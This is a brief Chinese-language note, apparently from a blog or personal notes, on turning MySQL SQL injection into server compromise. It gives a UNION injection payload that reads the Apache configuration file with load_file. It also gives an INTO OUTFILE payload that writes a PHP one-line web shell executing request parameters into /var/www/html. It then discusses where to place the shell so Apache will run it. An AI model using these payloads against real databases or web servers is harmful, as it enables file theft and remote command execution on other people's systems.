mysql sql注入提权

    mysql存在两个操作可以读取和写系统文件：

    例如：

    读取apache配置文件：

    select user, password from user where user="admin123" and password="123&" UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '

    写文件：

    SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

    通过这些操作可以通过上传一句话木马的方式实现sql注入的提权

    但是存在的问题是不知道将一句话木马上传到那个目录apache才能够执行，以下链接说明了apache的默认配置目录和web代码目录